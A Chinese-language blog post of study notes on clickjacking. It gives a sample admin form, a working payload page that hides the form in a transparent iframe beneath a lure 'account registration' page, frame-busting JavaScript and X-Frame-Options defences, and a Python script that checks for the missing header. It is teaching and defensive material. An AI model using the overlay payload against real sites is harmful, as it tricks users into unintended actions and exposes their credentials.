前言：

放假了，上个星期刚刚学习完点击劫持漏洞。没来的及写笔记，今天放学总结了一下

并写了一个检测点击劫持的脚本。点击劫持脚本说一下哈。= =原本是打算把网站源码

中的js也爬出来将一些防御的代码匹配一下。可惜，爬出来的js链接乱的一匹。弄了很久

也很乱。所以就没有匹配js文件了。

漏洞介绍：

漏洞名称：点击劫持漏洞（Clicking hijacking）

级别：中级

漏洞用于场景：钓鱼，欺骗。

《黑客攻防之浏览器篇》里有详细的利用教程。

里面所介绍的工具做出来的payload能以假乱真

攻击手法：在一个页面的中嵌入一个iframe标签，放入诱惑信息，引诱用户点击

漏洞复现：

index.html

<html>

<head>

  <title>后台管理员添加</title>

  <style>

  body{ background-repeat: no-repeat;background-size: 100% 100%;background-attachment: fixed;}

  h2{ color:blue;text-align: center;}

  </style>

</head>

<body background="bei.jpg">

  <h2>管理员添加</h2>

  <div style="text-align:center;">

    <form action="x.php" method="POST">

      <input type="text" required><br><br>

      <input type="password" required><br>

      <input type="submit" value="提交">

  </div>

</body>

</html>

payload

将opacity设置为0.3可以看见你所填的

<html>

<head>

  <title>点击劫持</title>

  <style>

  iframe{ position: absolute;z-index: 2;top: 0px;left: 0px;width: 1800px;height: 900px;opacity: 0;filter: alpha(opacity=0);}

  button{ position: absolute;z-index: 1;top: 125px;left: 878px;}

  input{ position: absolute;z-index: 1;top: 65px;left: 820px;}

  body{ background-repeat:no-repeat;}

  </style>

</head>

<body>

  <div style="text-align:center">

    <h2>靓丽美女账号注册</h2>

  </div>

     <input type="text">

  <div style="position: absolute;z-index: 1;top: 43px;left: 5px;">

     <input type="text">

</div>

  <button>注册</button>

  <iframe src="http://127.0.0.1/jiechi/index.html"></iframe>

</body>

</html>

加上背景

漏洞防御：

1.加入js脚本防御

目前最好的js的防御方案为：

<head>

<style>

 body { display : none;}

</style>

</head>

<body>

<script>
if (self == top) {

var theBody = document.getElementsByTagName('body')[0];    
theBody.style.display = "block";

}

else

{

 top.location = self.location;

}

</script>

2.添加X-FRAME-OPTIONS头进行防御

X-FRAME-OPTIONS头是微软开发的，使用该头后禁止页面被iframe嵌套

防御结果

将index.html改为index.php，代码改为

X-FRAME-OPTIONS头使用说明：

1.DENY  拒绝任何域加载

2.SAMEORIHIN  同源下可以加载

3.ALLOW-FROM 可以定义允许frame加载的页面
<?php

header ( "X-FRAME-OPTIONS:DENY");

?>

<html>

<head>

  <title>后台管理员添加</title>

  <style>

  body{ background-repeat: no-repeat;background-size: 100% 100%;background-attachment: fixed;}

  h2{ color:blue;text-align: center;}

  </style>

</head>

<body background="bei.jpg">

  <h2>管理员添加</h2>

  <div style="text-align:center;">

    <form action="x.php" method="POST">

      <input type="text" required><br><br>

      <input type="password" required><br>

      <input type="submit" value="提交">

  </div>

</body>

</html>

将payload.html的opacity设置为0.3

可以看到已经嵌套不了了。

检测是否有点击劫持漏洞的脚本

原理直接判断是否有X-FROM-OPTIONS头。如果没有就有点击劫持漏洞

并提醒使用者可能有js脚本防御请自行测试。

代码：

import requests,tqdm,time,optparse

def main():

    usage='dianjijieci.py [-u url]'

    parser=optparse.OptionParser(usage)

    parser.add_option('-u',dest='url',help='The web site to be tested URL')

    (options,args)=parser.parse_args()

    if options.url:

        url=options.url

        jiechi(url)

    else:

        parser.print_help()

def jiechi(url):

    urls="{}".format(url)

    headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}

    reqst=requests.get(url=urls,headers=headers,timeout=6)

    if reqst.status_code == 200:

      print('[+]Target stability')

      try:

          hea=reqst.headers

          print(hea['X-FRAME-OPTIONS'])

          print('[n]X-FRAME-OPTIONS header, no click hijacking vulnerability can be used')

      except:

          print('[+]There is no X-FRAME-OPTIONS header. There is a clicking hijacking vulnerability')

          print('[!]Remind:It may be a defense against JS. Please test it yourself')

    else:

        print('[n]bjective instability')

if __name__ == '__main__':

    main()

测试结果

点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本的更多相关文章

  1. python打造一个分析网站SQL注入的脚本

    前言: 昨天晚上其实就已经写完代码.只不过向FB投稿了,打算延迟一晚上在写博客 所有才到今天早上写.好了,接下来进入正题. 思路: 1.从网站源码中爬取那些类适于:http://xxx.com/xx. ...

  2. phantomjs + python 打造一个微信机器人

    phantomjs + python 打造一个微信机器人 1.前奏   媳妇公司不能上网,但经常需要在公众号上找一些文章做一些参考,需要的时候就把文章链接分享给我,然后我在浏览器打开网页,一点点复制过 ...

  3. python 打造一个sql注入脚本 （一）

    0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...

  4. python打造一个Mysql数字类型注入脚本(1)

    前言: 总是想写一个sql注入脚本,但是之前的那些都不行. 这次做好了准备,然后嘿嘿嘿. 准备: sql注入的基础知识 熟悉怎么判断 正文: 思路概念图: 这里我没有限制用户输入,不限制的话可能会 @ ...

  5. Python打造一个目录扫描工具

    目标:用Python3写一款小型的web目录扫描工具 功能:1.扫描指定站点 2.指定网站脚本类型来扫描 3.可控线程 4.可保存扫描结果 首先定义一个命令参数的函数 def parse_option ...

  6. python写一个信息收集四大件的脚本

    0x0前言: 带来一首小歌: 之前看了小迪老师讲的课,仔细做了些笔记 然后打算将其写成一个脚本. 0x01准备: requests模块 socket模块 optparser模块 time模块 0x02 ...

  7. 10分钟教你用Python打造微信天气预报机器人

    01 前言 最近武汉的天气越来越恶劣了.动不动就下雨,所以,拥有一款好的天气预报工具,对于我们大学生来说,还真是挺重要的了.好了,自己动手,丰衣足食,我们来用Python打造一个天气预报的微信机器人吧 ...

  8. 第11章：使用Python打造MySQL专家系统

    1.Python语言高级特性 1).深入浅出Python生成器 1).生成器函数:与普通函数定义类似,使用yield语句而不是return语句返回结果.yield语句一次返回一个结果,在每个结果中间挂 ...

  9. URL重定向漏洞，python打造URL重定向漏洞检测脚本

    前言: 今天学习了重定向漏洞,这个漏洞比较好理解 漏洞名:URL重定向漏洞 威胁:低 漏洞的来源:开发者对head头做好对应的过滤和限制 例子: 有漏洞的网站:http://a.com/x.php?u ...

随机推荐

  1. Android的ToggleButton和Switch以及AnalogColok和DigitalColok的用法-android学习之旅（二十）

    ToggleButton 和Switch简介 ToggleButton 和Switch都是继承了Button,所以他们的属性设置和Button差不多. 分别支持的属性 ToggleButton 的属性 ...

  2. 【一天一道LeetCode】#219. Contains Duplicate II

    一天一道LeetCode 本系列文章已全部上传至我的github,地址:ZeeCoder's Github 欢迎大家关注我的新浪微博,我的新浪微博 欢迎转载,转载请注明出处 (一)题目 Given a ...

  3. Hibernate配置文件current_session_context_class的意思

    转自:http://shuaigg-babysky.iteye.com/blog/563423 此设置的作用如下: What does sessionFactory.getCurrentSession ...

  4. Shell脚本编程入门（一）

    最近在学shell,记录一下. if语句的使用: 1.判断两个参数大小 #!/bin/sh #a test about if statement a=10 b=20 if [ $a -eq $b ]; ...

  5. Unable to instantiate Action, MenuAction, defined for 'QueryMenuAll' in namespace '/'MenuAction

    我刚好也遇到这样的情况,发现是自己的配置文件里写错了,spring里的id属性值要对应struts里class属性值.

  6. HMAC

    Hash-based Message Authentication Code HMAC是IP安全里必须实现的MAC方案,并且其他Internet协议中(如SSL)也使用了HMAC.HMAC已作为NIS ...

  7. svn 集成 redmine 账户验证的终极解决方案

    svn 集成 redmine 账户验证的终极解决方案 赖勇浩(http://laiyonghao.com) 动机 对于大部分开发团队来说,一般都需要一套 SCM 系统,通常是 svn + redmin ...

  8. C++为什么要设计友元函数和友元类

    1. 首先要提一下java,比如java定义一个类1.class,会生成字节码.java有反射机制,可以找到类对象,直接修改类的私有属性.逐渐反射机制成为了一种标准,sun做成标准,JDK的API函数 ...

  9. pig limit 少于10行，会返回所有记录

    my = limit g_log 3; STORE my INTO '/user/wizad/tmp/my' USING PigStorage(','); 这样会返回g_log的所有记录. 要大于等于 ...

  10. 敏捷测试（6）--基于story的敏捷基础知识

    基于story的敏捷基础知识----需求管理(三) (3)每日站会 站会的目的有三个: (1)周知进度 仅从用户故事和任务的层面周知进度,任务进度只有两种状态:完成或未完成(完成百分比). (2)周知 ...